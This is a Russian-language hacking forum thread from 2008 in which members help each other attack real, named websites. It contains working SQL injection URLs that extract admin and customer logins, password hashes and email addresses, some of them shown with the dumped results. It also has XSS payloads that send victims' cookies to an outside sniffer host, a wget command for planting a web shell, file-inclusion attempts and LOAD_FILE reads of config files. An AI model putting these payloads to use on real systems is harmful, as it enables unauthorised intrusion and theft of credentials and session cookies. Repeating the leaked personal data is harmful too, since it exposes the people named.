вот что посоветуете сделать, что б всё-таки всё прошло удачно?????
Ты немного не правильно понимаешь процедуру кодировки через char(). В скул-запросе чар используется следующим образом
+from+information_schema.columns+where+table_name= char(ascii,ascii,...,)
например
+from+information_schema.columns+where+table_name= char(116,101,115,116)/*
char(116,101,115,116)=test БЕЗ ковычек.

Piflit
03.02.2008, 00:10
Mambo Component AkoGallery 2.5b
кто может выложить?

cash$$$
03.02.2008, 00:31
кто может выложить?
SQL-инъекция
statement := 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ';';
function QuoteParam(s : string) : string;
{ на входе — строка; на выходе — строка в кавычках и с заменёнными спецсимволами }
var
i : integer;
Dest : string;
begin
Dest := '"';
for i:=1 to length(s) do
case si of
' : Dest := Dest + '\;
'"' : Dest := Dest + '\"';
'\' : Dest := Dest + '\\';
else Dest := Dest + si;
end;
QuoteParam := Dest + '"';
end;

Piflit
03.02.2008, 00:33
SQL-инъекция
statement := 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ';';
function QuoteParam(s : string) : string;
{ на входе — строка; на выходе — строка в кавычках и с заменёнными спецсимволами }
var
i : integer;
Dest : string;
begin
Dest := '"';
for i:=1 to length(s) do
case si of
' : Dest := Dest + '\;
'"' : Dest := Dest + '\"';
'\' : Dest := Dest + '\\';
else Dest := Dest + si;
end;
QuoteParam := Dest + '"';
end;
компоненты для мамбы на делфи?... О_О

Spyder
03.02.2008, 00:57
да это хня, вон нерезус сайт на осенблере писал )))

m0use
04.02.2008, 02:02
нашел sql injection на одном сайте все стандартно....
site.ru/index.php?id=-1+union+select+1,2,3,4...../*
version() -> 5.0.37
user() -> не рут
через INFORMATION_SCHEMA.TABLES можно просматривать таблицы...
на этом же сайте есть форум адрес типа forum.site.ru

как я понимаю через "INFORMATION_SCHEMA.TABLES" я должен видеть таблицы форума или же нет?

Spyder
04.02.2008, 03:00
не обязательно
таблицы форума могут быть в другой бд и у юзера может не быть прав на доступ к ней
или вообще forum.site.ru на другом серваке лежит
Пробей через ревёрс айпи
http://www.seologs.com/ip-domains.html
если они на одном серве, просматривай table_schema и все таблицы

m0use
04.02.2008, 09:46
не обязательно
таблицы форума могут быть в другой бд и у юзера может не быть прав на доступ к ней
или вообще forum.site.ru на другом серваке лежит
Пробей через ревёрс айпи
http://www.seologs.com/ip-domains.html
если они на одном серве, просматривай table_schema и все таблицы
ip точно один.... если они в другой бд то получается я уже до них не доберусь ?

rem
04.02.2008, 10:14
доберешься если сможешь повысить свои привелегии либо через ,fpe дибо через скрипты

RinOS
04.02.2008, 17:48
В общем при передаче переменной query строки возникает ошибка:

http://site.ru/js/rs.php?query=SELECT *

Fatal error: Class 'FatalException' not found in /opt/vhosts/jnet/www/lib/DB.php on line 241

Что значит эта ошибка, и можно ли использовать уязвимость сделать sql иньецию?

Scipio
04.02.2008, 19:27
вобщем то, эта ошибка не говорит о том, можно ли или нет провести инъекцию, просто когда возникает ошибка, вызываются функции определенного класса, а этот класс скрипт просто не может найти и все, попробуй сделать правильный скуль запрос

да скуль есть, вот нашел:
http://site/js/rs.php?query=1%20union%20select%201,version(),3,4, 5/*

смотрим исходник страницы, видим5.0.24a-standard-log

~Taxa~
05.02.2008, 02:03
Прошу помочь если вообще способы залившке шелла через админку WordPress'a?

m0use
05.02.2008, 02:16
нашел sql injection на одном сайте все стандартно....
site.ru/index.php?id=-1+union+select+1,2,3,4...../*
version() -> 5.0.37
user() -> не рут
через INFORMATION_SCHEMA.TABLES можно просматривать таблицы...
на этом же сайте есть форум адрес типа forum.site.ru

как я понимаю через "INFORMATION_SCHEMA.TABLES" я должен видеть таблицы форума или же нет?

хорошо а могу я прикрутить UPDATE? и как это должно выглядить...

MarvinsMagic
05.02.2008, 04:38
Всем привет , в кратце обьясню , всю жизнь работал СИ , вполне успешно никогда не жаловался =) ! Сейчас встал вопрос скажем так прогресса , вопрос куда двигаться от чего плясать , ЗАРАНЕЕ извеняюсь если задам кучу глупых вопросов , всё что я прошу подсказать , дальше сам разберусь .
есть сайтик нуу допустим http://portal.kurkino.net.ru/ насмотревшись всяких крутых роликов я начал с дуру подбирать всякие словечки в итоге нашёл "test.php" "/test/" "/test/admin/" как я понял сервак стоит на апаче , нооо дальше я не ушёл , и вот в чём просьба , скажите пожалуйста , а лучше киньте ссылки на статьи , предположим цель ну скажем выведать пороли пользователей или пороли админа , какие технологии и вообще знания стоят применять , Всё что связанно с соц инженерии сразу отпадает я и так всё знаю , уже не интересно , я крайне надеюсь что вы поняли чего я хочу , просто подскажите что к чему и зачем . Заранее спасибо

П.С.- с удовольствием возьму уроки(естессно не бесплатно) у знающего дело профессионала , который мне всё разжуёт ! Спасибо за внимание. Не судите строго.

x88x
05.02.2008, 11:59
хм...
на роль "знающего профессионала" я не претемндую, но все же выскажу парочку своих соображений:

1. во-первых, (хотя это дело вкуса) посмотрел бы движок сайта. что-то мне подсказывает, что там должна быть скуль (SQL-inj).
http://portal.kurkino.net.ru/portal.php?module=news&view_gid=4'
Про скули почитай в этой же ветке форума.

2. во-вторых, сайтец построен как минимум на двух движках:
- движок сайта - смотри в самом низу страницы: Portal System ULN-Web. Зная PHP и имея на руках исходные его коды можно самому найти уязвимость в двиге. Как вариант - пошерстить по багтракам - мож уязвимость там уже нашли.
- движок форума - см. выше.
А вот для изучения исходников тебе понадобится выучить PHP. На ачате для этого материалов предостаточно.

И вообще, как вариант, можешь, опять же на форуме просто попросить взломать сайт =)

удачи...

Lesnoy_chelovek
05.02.2008, 12:05
m0use, ты видишь все таблицы SQL, там же будут и от форума.
UPDATE имя_таблицы SET поле=значение

ONEx
05.02.2008, 21:13
Пассивный XSS
http://www.poetryclub.com.ua/author.php?id=3873'%22%3E%3C/script%3E'%22%3E%3Cscript%3Ealert(document.coockie )%3C/script%3E
--
не подскажите почему не работает мой скрипт? мой скрипт -document.location.href="http://www.poetryclub.com.ua/author.php?id=3873'%22%3E%3C/script%3E%27%22%3E%3Cscript%20%73%72%63%3D%68%74%7 4%70%3A//%78%78%73%2D%78%78%73%2E%6E%6D%2E%72%75%2F%6A%73%2 E%6A%73%3E%20%3C/script%3E%0D%0A"; по сути это document.location.href="http://www.poetryclub.com.ua/author.php?id=3873'"></script>'"><script src=http://xxs-xxs.nm.ru/js.js> </script>";
а в оригенале http://www.poetryclub.com.ua/author.php?id=3873'"></script>'"><script>alert(document.coockie)</script>>";
xxs-xxs.nm.ru/js.js - там <script> img = new Image(); img.src="http://s.netsec.ru/Onex.gif?"+document.cookie;</script> Помогите плиз разобраться =(
И еще вопрос.. если тырю куки с zzz.ru то и дыра должна быть в zzz.ru ? Спасибо

ElteRUS
05.02.2008, 21:26
bobob, возможно таблицы находятся в других базах. Узнай базу таблицы:

... , concat(table_name,0x3a,table_schema), ... +from+information_schema.tables

а потом пиши имя базы перед именем таблицы

... ,password, ... +from+имя_базы.users/*


А возможно просто нету доступа к этим таблицам :\

ElteRUS
05.02.2008, 21:38
Типа такого

script.php?id=-1+union+select+1,2,password,4+from+used.used_users/*

ElteRUS
05.02.2008, 21:49
bobob, ты читал мануалы по инъекциям ? )) Перечитай )))

Допустим у тебя есть таблица calendarusers. Тебе нужно узнать в какой БД она находится. Для этого пишешь запрос

script.php?id=-1+union+select+1,2,table_schema,4+from+information _schema.tables+where+table_name='calendarusers'/*

Допустим в ответ вывело - firstbd. Тогда составляешь запрос

script.php?id=-1+union+select+1,2,concat_ws(0x2F,login,password), 4+from+firstbd.calendarusers/*

Теперь делай по аналогии

m0use
05.02.2008, 22:15
m0use, ты видишь все таблицы SQL, там же будут и от форума.
Втом то и дело что некоторые таблицы я вижу а именно таблиц форума я не нашел.
UPDATE имя_таблицы SET поле=значение
как это в брайзере должно выглядеть, методом тыка уже пробовал и UNION добавлял и без него... поэтому и спрашиваю как правильно!?

-=lebed=-
05.02.2008, 22:29
Уязвим ли следующий код php:

if(!isset($_POST['adminusr'])) $_POST['adminusr']='';
if(!isset($_POST['adminpwd'])) $_POST['adminpwd']='';
if ($_POST['adminusr']==$admin_usr and $_POST['adminpwd']==$admin_pwd) {echo "зашли!";}
else {echo "идём лесом";}

При условии что спецсимволы не экранируются, т.е magic_quotes_gpc = 0?

A2GIL
05.02.2008, 22:29
Втом то и дело что некоторые таблицы я вижу а именно таблиц форума я не нашел.

А ты пробовал использовать limit?

как это в брайзере должно выглядеть, методом тыка уже пробовал и UNION добавлял и без него... поэтому и спрашиваю как правильно!?

Запросы типа UPDATE работают крайне редко! Такая фишка с изменением базы не катит!

Sharingan
06.02.2008, 14:45
народ, может кто знает уъязвимость на укозе, хсс там или еще что, срочно надо, искал не нашел =(

WeddRRRyss
06.02.2008, 17:38
Я вот нашел пхп инклуд вот здесь: http://www.dorodango-method.com/index.php а когда пробую залить шелл http://www.dorodango-method.com/index.php?page=http://mysite.ru/shell.php
Шел отображается нормально, но файлы отображаются те которые у меня на сайте, и команды тоже выполняются относительно моего сайта.. В чем трабл?

Constantine
06.02.2008, 18:37
WeddRRRyss там нет инклуда

Fuckel
06.02.2008, 23:22
Когда я пытаюсь внедрить свой код в активный xss(работает скрипт) " и ' фильтруются. Когда ввожу скрипт со сниффом в 16 системе, то скрипт не выполняется. Что не так?

CaNNabi$
06.02.2008, 23:43
У меня есть полный доступ к FTP одного сайта, я там покавырялся и нашел админку на сайте, путь выглядит так _www.site.ru/AdminSite/start.php , (вот скрин админки (http://img91.imageshack.us/img91/1365/63386099fs5.jpg) ) потом я там в FTP поискал пароли, и в той папке где админка AdminSite есть еще папка tc и там есть файл config.php открыл я этот .php файл вот сам код

<?
//Файл: config.php
//Назначение: хранение настраиваемых переменных
//===========================================

error_reporting(0);

//Начальный хост (адрес начальной папки через HTTP,
//например: "http://mysite.ru" или "http:/pupkin.ru/home")
$host_1 = "http://site.ru".$HTTP_HOST;

//Начальная директория
$path_1 = $DOCUMENT_ROOT;

//Имя пользоввателя (надо поменять!)
$login_1 = "site";

//Пароль для входа в программу (надо поменять!)
$pass_1 = "****";

//Количество файлов, доступных для загрузки на сервер
//(четное число, например: 4, 6, 8 ...)
$files_to_upload = 10;

?>


Ну короче видите там где login и pass


//Имя пользоввателя (надо поменять!)
$login_1 = "site";

//Пароль для входа в программу (надо поменять!)
$pass_1 = "****";


Ввел тут _www.site.ru/AdminSite/start.php как там в config.php логин и пароль и не заходит, менял в config.php логин и пароль токо не фига, может это вообще логин и пароль не от админки? Просто я решил если они находятся в одной папке что это оно)

Спасибо за внимание

Если не в том разделе сорри :) (но кажется тот)

Токо не пинайте pls, если я не понятно обяснил напишите) просто хочу дойти до конца :)

}{0TT@БЬ)Ч
06.02.2008, 23:49
не очень понятно зачем нужна админка если есть доступ к ftp а так вообще исходник start.php не судьба посмотреть?

CaNNabi$
06.02.2008, 23:52
не очень понятно зачем нужна админка если есть доступ к ftp а так вообще исходник start.php не судьба посмотреть?
start.php я смотрел там ничего нету), все мне говорят зачем нуна админка если есть доступ к фтп, )

Ответ: просто для себя хочу узнать) новые знания пригодятся)

Conquerstador
06.02.2008, 23:59
Мало ли IP привязан к Админу смотри лучше должны же пассы где-то быть не с неба же упали))) ИЩИ!

CaNNabi$
07.02.2008, 00:09
Мало ли IP привязан к Админу смотри лучше должны же пассы где-то быть не с неба же упали))) ИЩИ!
Вводил пассы от MySQL базы тоже нифига)

CaNNabi$
07.02.2008, 23:53
Я первый раз занимаюсь SQL инекцией :)
Вот подскажите это SQL инекция или нет? По моему да, токо хочу узнать на 100% :)

http://brownberets.info/wp-content/plugins/wp-cal/functions/editevent.php? id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email), 3,4,5,6%20from%20wp_users--


и там вот это потом написано

Edit event admin:cd59cc41aa03d53c9336522d40ee4339:bradley@ris eup.net

cd59cc41aa03d53c9336522d40ee4339 это кажется MD5, если я не ошибаюсь)

Это моя первая тема про SQL так что не пинайте)

Спасибо за внимание

ElteRUS
07.02.2008, 23:57
CaNNabi$, да инъекция ))) Можешь юзать лимит, что бы посмотреть инфу по остальным юзерам

http://brownberets.info/wp-content/plugins/wp-cal/functions/editevent.php?id=-1+union+select+1,concat(user_login,0x3a,user_pass, 0x3a,user_email),3,4,5,6+from+wp_users+limit+1,1--

CaNNabi$
08.02.2008, 00:00
CaNNabi$, да инъекция ))) Можешь юзать лимит, что бы посмотреть инфу по остальным юзерам

http://brownberets.info/wp-content/plugins/wp-cal/functions/editevent.php?id=-1+union+select+1,concat(user_login,0x3a,user_pass, 0x3a,user_email),3,4,5,6+from+wp_users+limit+1,1--

Спасибо что подсказал, наконец то сбылась моя мечта, я так рад ппц как) давно хотел узнать хотел сделать SQL инекцию, ааа ништяк)
Терь моно в раздел SQL инекций добавлять)

CaNNabi$
08.02.2008, 00:38
А вот это нуно рашифровать cd59cc41aa03d53c9336522d40ee4339 и я получу пароль от админки? Или как?)

Повторяю я новичок в этом деле :)

Spyder
08.02.2008, 00:59
угу, от админки ворд пресса

o3,14um
08.02.2008, 02:11
у меня такая ситуация:
index.php?d=files&p=../index
инклудится индекс. Видно, что добавляется .php в конец.
index.php?d=files&p=../index.php%00
index.php?d=files&p=../index.php?
index.php?d=files&p=../index.php//
не прокатывает! Ошибку выдёт. Там Винда стоит.
Есть ли шанс приишклудить файл с другим расширением, отличным от php?

Spyder
08.02.2008, 02:16
скорее всего нет, ибо magic_quotes или просто фильр стоит, попробуй объявить переменную через куки или постом, хотя навряд ли прокатит

~!DoK_tOR!~
08.02.2008, 07:03
http://www.site.com/customer_testimonials.php?testimonial_id=99999+uni on+select+1,2,concat(customers_lastname,0x3a,custo mers_password,0x3a,customers_email_address),4,5,6, 7,8+from+customers/*

и выводится вот такой вид хешёй немогу понять что это именно мд5 или всё таки соль?

Weinstein:425207c6e60ffa47065702619d9a8e76:aa:happ iquilter@verizon.net

Fisher:6ab6348c5cb2b47c1afdb254d23f6717:f2:bizzybe adz@gmail.com

it's my
08.02.2008, 07:12
425207c6e60ffa47065702619d9a8e76:aa
это md5($pass.$sault), брутил PasswordPro, сбрутил тока 2 пасса =/

~!DoK_tOR!~
08.02.2008, 07:13
это md5($pass.$sault)

точно ты уверен ?

it's my
08.02.2008, 07:15
Сбруть этот: 72baa9d520b127dd4ab03ff904cc1959:e5 и поймешь =)
хотя опять же 100% уверенности всё же дать не могу

Fuckel
09.02.2008, 02:51
Может кто-нибудь все-таки подскажет: Когда я пытаюсь внедрить свой код в активный xss(работает скрипт) " и ' фильтруются. Когда ввожу скрипт со сниффом в 16 системе, то скрипт не выполняется. Что не так?

AFoST
09.02.2008, 02:53
Fuckel, изъяснись понятней и с примером.

Fuckel
09.02.2008, 03:09
вообщем, xss выполняется, но " и ' фильтруются, то есть перед ними ставится /. Но перевожу скрипт в форму hex, то скрипт не выполняется, тоесть он просто выводит его на странице. Может это из-за браузера? Без примера, тк не хочу расппространятся.

Scipio
09.02.2008, 04:11
вообщем, xss выполняется, но " и ' фильтруются, то есть перед ними ставится /. Но перевожу скрипт в форму hex, то скрипт не выполняется, тоесть он просто выводит его на странице. Может это из-за браузера? Без примера, тк не хочу расппространятся.
<script src=script.js></script>

AFoST
09.02.2008, 10:56
вообщем, xss выполняется, но " и ' фильтруются, то есть перед ними ставится /. Но перевожу скрипт в форму hex, то скрипт не выполняется, тоесть он просто выводит его на странице. Может это из-за браузера? Без примера, тк не хочу расппространятся.
попробуй обратный апостроф `some text`

-slow-
09.02.2008, 10:57
установил снифер на нэтсек.ру...как сделать, чтобы через ссылку печеньки на него шли?и вобще это возможно?напишите примерный вид ссылки

0nep@t0p
09.02.2008, 11:08
-slow-,
Сначала найди xss'ку на нужном тебе сайте
А потом ссылка вида:
www.site.ru/index.php?id=<script>img=new Image();img.src="http://www.s.netsec.ru/pic.gif?"+document.cookie;</script>

-slow-
09.02.2008, 11:11
все таки без него нельзя....а что должно вывести, если есть узвимость, когда я поле проверяю на нее

.acme
09.02.2008, 11:16
<script>img = new Image(); img.src = "http://s.netsec.ru/yo.gif?"+document.cookie;</script>

Girsoft
09.02.2008, 19:01
ребя та, есть шелл на сайте такого вида: <? system($_get[cmd]) ?> но там лиункс стоит. какой коммандой мне закачать нормальный шелл? права на записть есть

Macro
09.02.2008, 20:11
wget хттп://нормальный_шелл.пхп -o куда_сохранить

PSYho
09.02.2008, 20:23
HELP!!!!!!!! :eek: :eek: Я добыл брутом пароль.Через Putty почему-то его не могу ввести. Признаюсь я в хаке полнейший ламос. Как не через Putty ввести пароль? Помогите!!!

Macro
09.02.2008, 20:50
Пароль к чему ты добыл? К ssh?

Велемир
10.02.2008, 17:17
Народ, очень интересует- можно узнать с помощью лимита имена колонок типа юзер пассворд в базе таблице? Таблицы узнал,а подобрать пассы не могу =((((подобрал только ид и имя юзера))

.Slip
10.02.2008, 17:22
Народ, очень интересует- можно узнать с помощью лимита имена колонок типа юзер пассворд в базе таблице? Таблицы узнал,а подобрать пассы не могу =((((подобрал только ид и имя юзера))
Причём тут лимит? Лимит всего лишь ограничивает/распределяет вывод данных. Если версия базы ниже пятой (насколько я догадался мускуль), то смотри форму авторизации. Значения name, 80% что совпадут с названием колонок.

Велемир
10.02.2008, 17:37
http://www.sitecom/showcategory.php?cid=7+union+select+0,column_name, 2,3,4+from+site_users.columns+/*

Доступа через селект туда нету,к information_schema.tables есть.

Просмотрел имена таблиц через лимит,напарываюсь на site_users.Там почти 5к юзеров. Подобрал user_id и username, а пароли никак )(.

Велемир
10.02.2008, 17:41
Форму авторизации не нашёл,только админку =(

.Slip
10.02.2008, 17:43
http://www.sitecom/showcategory.php?cid=7+union+select+0,column_name, 2,3,4+from+site_users.columns+/*

Доступа через селект туда нету,к information_schema.tables есть.

Просмотрел имена таблиц через лимит,напарываюсь на site_users.Там почти 5к юзеров. Подобрал user_id и username, а пароли никак )(.
Кто тебя учил таким запросам? Купи книгу по sql
select column_name from information_schema.columns where table_name = blablabla limit 1,1

Велемир
10.02.2008, 23:46
http://housefind.ru/modules/sections/index.php?op=viewarticle&artid=1+and+1=0+union+select+1,2,pass,4,5,pwdsalt, 7,8,9,10+from+runcms_users+where+uid=2

Эммм...ктонить может объяснить по порядку,как оно сделано о_О ? А то я нириально туплю(первый раз ваапще такое встречаю):Р.Как в таком случае узнать кол.-во строк и таблиц? ) (Можно подробно).Когда я ордер пробую он выдаёт предупреждение )(

Велемир
10.02.2008, 23:48
Кто тебя учил таким запросам? Купи книгу по sql
select column_name from information_schema.columns where table_name = blablabla limit 1,1

Тот вариант тоже прокатывал, ток я почему-то не угадал user_password, ибо к мускулу доступа не было)(

ZET36
11.02.2008, 00:48
Извените за банальный тупой вопрос по пхп инклюдингу. прочол статью по этой теме на античате

вот нашол плохую фильтрацию
http://www.dosuga.net/index.php?type=pic&seq=dfdsfds&mk=on&num=4&tot=92
(уязвима переменная seq)

пробывал подставить в переменную сайт

http://www.dosuga.net/index.php?type=pic&seq=http://www.google.ru&mk=on&num=4&tot=92
ноль эмоций

пробывал разработать как локальный инклюд
http://www.dosuga.net/index.php?type=pic&seq=../index.php&mk=on&num=4&tot=92

тоже ничего
подскажите в чом я ошибся и как разрабатывать эту уязвимость?

Scipio
11.02.2008, 02:40
ошибся ты в том, что тут возможен бы был локальный инклюд, если бы не было экранирования спец символов типа кавычки и нуля, причем как я понял там еще и фильтрация какая то написана, хотя насчет фильтрации хз, но экранирование не дает провести локальный инклюд

CaNNabi$
12.02.2008, 19:49
Подскажите пожалуйста, есть какая нибудь прога для подстановки чисел в SQL инъекций, ну а точнее ВОТ (http://forum.antichat.ru/thread19605.html) прочитал я эту статью, и там написано

Способ №1: Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки: http://www.site.ru/index.php?page=1' Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде: MySQL Error: mysql_query(.......) error expretion syntax... Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.
Ну вот есть прога для атоматической подстановки чисел?) Я много раз читал эту статью, токо вот с подстановкой не выходит, )
Вручную чтоли делать?)

А эти шаблоны уже заепали) и вправду самому надо думать, а не готовыми инъекциями)

Ну вот такой у меня вопрос, может не внимательно я смотрел на ачате, может есть такая прога?)

Constantine
12.02.2008, 19:56
Sql injection tool by SQLHACK может быть?

Велемир
12.02.2008, 20:29
http://topofgames.com/index.php?cat_id=72'

Подставил какое-то значение не помню,вывело ашиппку.Стоит фильтрация на кавычку.Вместо неё куча обратных слешей:РР

http://www.dotfiles.com/index.php?cat_id=-6+order+by+1/*

Дыра есь,но как обойти хз:РР

Constantine
12.02.2008, 21:00
http://www.nlstar.com/catalog/index.php?cat_id=17'+union+select+1,2,LOAD_FILE('/var/www/vhosts/nlstar.net/req/class.db.php')+from+mysql.user/*
код выпадет в исходник

всегда смотри file_priv, дальше советую поискать какие нибудь конфиги или исходники авторизации

Велемир
12.02.2008, 21:07
гага,до мя щас ток дошло че делать))))))))).Пасиб те! )если б все так отвечали Ж...

Велемир
12.02.2008, 21:19
шотто я ниче не вижу....там где написано Каталог Продукции Nl есь какой-то кусок кода,и усё:Р Можно чутка поподробней? А то я нуп Ж(

Constantine
12.02.2008, 21:21
Исходный код страницы посмотри. там и будет исходника файла

Dimi4
13.02.2008, 01:03
_http://62.140.233.125/wow2/index.php?n=account/create
Может кто-нить подскажет двиг или баги в нем?

m0use
13.02.2008, 01:23
есть сайт с инекцией
http://wgem.com/Community/event.php?ID=5014'
если через group by подбирать колличество то получается 8
http://wgem.com/Community/event.php?ID=5014+group+by+8
А когда начинаю писать
http://wgem.com/Community/event.php?ID=5014+union+select+1,2,3,4,5,6,7,8/*
выдает что их не 8... что не так?

Macro
13.02.2008, 01:27
Просто там этот id используется в двух запросах к разным таблицам, а посему тут слепая инъекция

Constantine
13.02.2008, 03:50
m0use кури more than 1 row от Elekt'а , там реально все сделать.
Ветка там 4, таблица users, колонки: id,username,password

Scipio
13.02.2008, 04:22
m0use кури more than 1 row от Elekt'а , там реально все сделать.
Ветка там 4, таблица users, колонки: id,username,password

да, можно конечно, но это сложнее для понимания чем например
http://wgem.com/Community/event.php?ID=-5014/**/or/**/1=1/*

Велемир
13.02.2008, 15:05
class DBMysql {

var $Connected;

var $Connection;

function DBMysql($connection_string) {
$this->Connected = FALSE;
$pattern = '/^([\w\d]+):([^\s]*)@([.\w\d]+);([\w\d]+)$/';
$matches = array();
if ( preg_match($pattern, $connection_string, $matches) != 0 ) {
array_shift($matches);
list($username, $password, $host, $database) = $matches;
if ( $c = @mysql_connect($host, $username, $password) ) {
if ( @mysql_select_db($database, $c) ) {
$this->Connected = TRUE;
$this->Connection = $c;
$this->Query("SET NAMES cp1251");
}
}
}
return($this->Connected);
}

function Close() {
@mysql_close($this->Connection);
$this->Connected = FALSE;
}

function Query($query) {
$args = func_get_args();

if ( sizeof($args)-1 != substr_count($query, '?') ) trigger_error('Wrong arguments count<br>' . $query, E_USER_ERROR);
$sql = "";
$q = 1;
while ( ($pos = strpos($query, '?')) !== FALSE ) {
$l = $query[$pos-1];
$r = $query[$pos+1];
if ( $l == $r ) {
switch ($l) {
case '"':
$args[$q] = str_replace('"', '\"', $args[$q]);
break;
case '\'':
$args[$q] = str_replace('\'', '\\\'', $args[$q]);
break;
case '`':
$args[$q] = preg_replace('/[^a-zA-Z0-9_]/', '' , $args[$q]);
break;
}
}
else if ( !is_numeric($args[$q]) )
$args[$q] = '\'' . str_replace('\'', '\\\'', $args[$q]) . '\'';

$sql .= substr($query, 0, $pos) . $args[$q];
$query = substr($query, $pos+1, strlen($query)-$pos);
$q++;
}
$sql .= $query;

// echo $sql . '<hr>';
$result = mysql_query($sql, $this->Connection) or trigger_error('<b>Ошибка SQL запроса:</b> ' . $sql . '<br />' . mysql_error(), E_USER_ERROR);
return($result);
}

function Fetch($result) {
$row = @mysql_fetch_array($result);
return($row);
}

function FetchQuery($query) {
$args = func_get_args();
$result = call_user_func_array(array(&$this, 'Query'), $args);
$row = $this->Fetch($result);
return($row);
}

function FetchAll($result) {
$r = array();
while ( $row = $this->Fetch($result) ) $r[] = $row;
return($r);
}

function NumRows($result) {
$n = @mysql_num_rows($result);
return($n);
}

function IsEmpty($result) {
$result = ( $this->NumRows($result) == 0 ) ? TRUE : FALSE;
return($result);
}

function LastInsertID() {
return(mysql_insert_id($this->Connection));
}
}

$dbtable = array();
foreach (explode(',', $tablenames) as $tablename) {
$tablename = trim($tablename);
$dbtable[$tablename] = $db_prefix . $tablename;
}

$db = new DBMysql($DB_CONNECTION_STRING);
?>

Просмотрел,поискал,не понял:Р Что там должно быть такое,что меня так сильно интересует )))))

Spyder
13.02.2008, 15:13
а хз чё тебе надо

kair
13.02.2008, 19:15
плиз, подскажите, есть для этого SSH-1.99-OpenSSH_3.9p1 сплойт
сервак висит под этим ip 65.98.230.4

http://forum.antichat.ru/showpost.php?p=591791&postcount=4841

Lesnoy_chelovek
13.02.2008, 21:05
kair
http://search.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=OpenSSH+3.9p1&x=0&y=0
http://search.securityfocus.com/swsearch?query=SSH+1.99&sbm=%2F&submit=Search%21&metaname=alldoc&sort=swishrank

Ох не знал я, что поисковики отменили.

m0use
13.02.2008, 21:06
m0use кури more than 1 row от Elekt'а , там реально все сделать.
Ветка там 4, таблица users, колонки: id,username,password

А поподробней можно? что за more than 1 row от Elekt'а?

l-l00K
13.02.2008, 21:08
http://forum.antichat.ru/threadnav35207-1-10.html

Велемир
13.02.2008, 21:49
а хз чё тебе надо


написали смотреть в исходник- смотрю :Р.там лоад фаил пахал,я и просмотрел исходник.

Велемир
13.02.2008, 22:58
http://www.mebel24.ru/shopinfo.php?id=-22+union+select+0,table_name,2,3,4,5,6,7,8,9,10,11 +from+information_schema.tables/*

что не подставляю, возвращает ошибку с mysql_num_rows(),версию базу и т.д узнать почемуто можно)(

Constantine
13.02.2008, 23:02
Велемир я тебе сказал искать конфиги или исходники авторизации админки. Путь у тебя есть, собрать до нужного файла легко

http://www.mebel24.ru/shopinfo.php?id=-22+union+select+0,version(),2,3,4,5,6,7,8,9,10,11/*

откдуа ты там схему запрашиваешь, ветка старая, информатион_схема только с 5ой ветке

Macro
13.02.2008, 23:03
Версия mysql 4.1.22, там нету базы information_schema

Велемир
13.02.2008, 23:13
Сорь...не знал,*пошёл дальше рыскать*

CaNNabi$
15.02.2008, 14:26
Ну чтож почти научился SQL инекций) вот токо у меня не получается вывеси логин с хэшем вот например это портал нашего провайдреа :D

http://*********/portal.php?module=news&view_gid=0x3127%20union+select+1,2,3,4,concat_ws(0 x2F,version(),database(),user()),6,7,8/*
Ну это покажет версию, базу и имя, вот я подставлял потом такое значение


http://*********/portal.php?module=news&view_gid=0x3127%20union+select+1,2,3,4,user,passwo rd,6,7,8+from+mysql.user/*

Токо не пошло, можете обяснить что подставить надо? :) Статьи прочитал подставлял не полуличось, либо я не понял)

aka PSIH
15.02.2008, 14:31
CaNNabi$
union select 1,2,3,4,user,6,7,8 from mysql.user/*
либо так
union select 1,2,3,4,concat_ws(0x3a,user,password),6,7,8 from mysql.user/*

CaNNabi$
15.02.2008, 14:45
CaNNabi$
union select 1,2,3,4,user,6,7,8 from mysql.user/*
либо так
union select 1,2,3,4,concat_ws(0x3a,user,password),6,7,8 from mysql.user/*
Спасибо)

krypt3r
15.02.2008, 17:41
Это сработает, если есть доступ к бд mysql, если его нет - проходим лесом))

Велемир
16.02.2008, 18:02
Invalid Query: select * from item where item_id = -256 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34/* && inactive = 'N' Error is: You have an error in your SQL syntax near 'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,2' at line 2

Выдало ошибку, после того как я подобрал количество столбцов:

http://www.site.com/product.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34/*

Всё прально ведь,а выдал ошибку (

bobob
16.02.2008, 19:18
линку довай

Велемир
16.02.2008, 19:28
http://www.brunton.com/product.php?id=-256+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 ,32,33,34/*

Scipio
16.02.2008, 19:40
http://www.brunton.com/product.php?id=256%20and%20substring(version(),1,1 )=3
там мускул третий, в нем нет конструкции union select

bobob
16.02.2008, 19:43
ых, кто бы мог подумать)

Велемир
16.02.2008, 20:19
Ж)))ы откуад ты это взял всякие енд:РРР. Лан пасибо всем :Р

Велемир
16.02.2008, 20:24
Чет я не фкурил, а где там версия отображается?))

Scipio
16.02.2008, 20:35
Велемир, ну ты жжешь, она и не должна отображаться просто если выражение substring(version(),1,1 )=3 правильное, то отображается страница http://www.brunton.com/product.php?id=256 , а если нет, то страница не отобразится, попробуй
http://www.brunton.com/product.php?id=256%20and%20substring(version(),1,1 )=4
http://www.brunton.com/product.php?id=256%20and%20substring(version(),1,1 )=5

Велемир
16.02.2008, 20:41
Откуда мне знать-то,впервые вижу такое )).С какой статьи взял?:Р

Велемир
16.02.2008, 20:44
Warning: mysql_connect() [function.mysql-connect]: User 'u70382875' has exceeded the 'max_user_connections' resource (current value: 5) in /mnt/w0605/d00/s33/b027a354/www/eipcprograms.com/includes/include.php on line 104

Warning: mysql_query() [function.mysql-query]: in /mnt/w0605/d00/s33/b027a354/www/eipcprograms.com/product.php on line 10

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /mnt/w0605/d00/s33/b027a354/www/eipcprograms.com/product.php on line 10
